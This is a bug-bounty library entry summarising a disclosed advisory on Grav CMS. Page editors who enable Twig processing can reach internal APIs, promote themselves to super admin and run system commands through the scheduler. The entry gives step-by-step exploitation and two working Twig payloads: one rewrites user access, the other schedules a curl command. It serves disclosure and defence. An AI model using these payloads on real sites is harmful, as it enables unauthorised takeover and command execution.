# Grav vulnerable to Privilege Escalation and Authenticated Remote Code Execution via Twig Injection

Grav page editors enabling Twig frontmatter can call internal APIs to self-promote to super admin or run system commands via the scheduler.

- Payout: Research
- Severity: high
- Program: Grav
- Found by: p1r0x
- Disclosed: 2025-12-02
- CVE: CVE-2025-66297
- Write-up quality: 7/10
- Original: https://github.com/advisories/GHSA-858q-77wx-hhx6
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-858q-77wx-hhx6
- Tags: area:web domain:web impact:privesc impact:rce kind:research platform:ghsa sev:high tech:php technique:source-review vuln:privilege-escalation vuln:rce vuln:ssti

**Target:** Grav CMS admin panel page editor / Twig template processing
**Root cause:** Twig processing enabled per-page in frontmatter runs without the sandbox, exposing Grav backend PHP objects like grav.user and grav.scheduler to template expressions.
**Steps:**
1. Log in as a non-admin user with admin.pages permission (and site login for PE).
2. In admin panel create/edit a page, set Advanced -> Process: Twig: true.
3. Inject `{% set _ = grav.user.update({'access': {'admin': {'login': true, 'super': true}}}, {}) %}` and `{% set _ = grav.user.save() %}` into page content.
4. Visit the page URL, then log out and back in to see super admin access.
5. For RCE, inject `{% set _ = grav.scheduler.addCommand('curl', ['http://localhost:8000']) %}`, `{% set _ = grav.scheduler.save() %}`, `{% set _ = grav.scheduler.run() %}` and visit the page.
**Exploitation:** A low-privileged page editor enables Twig on a page and stores Twig expressions that invoke Grav's internal user and scheduler APIs; rendering the page executes them, either rewriting the user's access to super admin or scheduling and running an arbitrary system command.
**Escalation:** Page-edit rights escalate to super admin, then to arbitrary command execution via the scheduler API.
**Insight:** Per-page Twig toggles that bypass the sandbox expose every backend object reachable from the template context; enumerate service objects like user and scheduler and look for mutating methods (update/save/addCommand/run) rather than only classic SSTI sinks.

## Proof of concept (copied exactly from the original report)

**Twig payload escalating user to super admin**

```
{% set _ = grav.user.update({
    'access': {
        'admin': {
            'login': true,
            'super': true
        }
    }
}, {}) %}
{% set _ = grav.user.save() %}
```

**Twig payload executing curl via scheduler**

```
{% set _ = grav.scheduler.addCommand('curl', ['http://localhost:8000']) %}
{% set _ = grav.scheduler.save() %}
{% set _ = grav.scheduler.run() %}
```

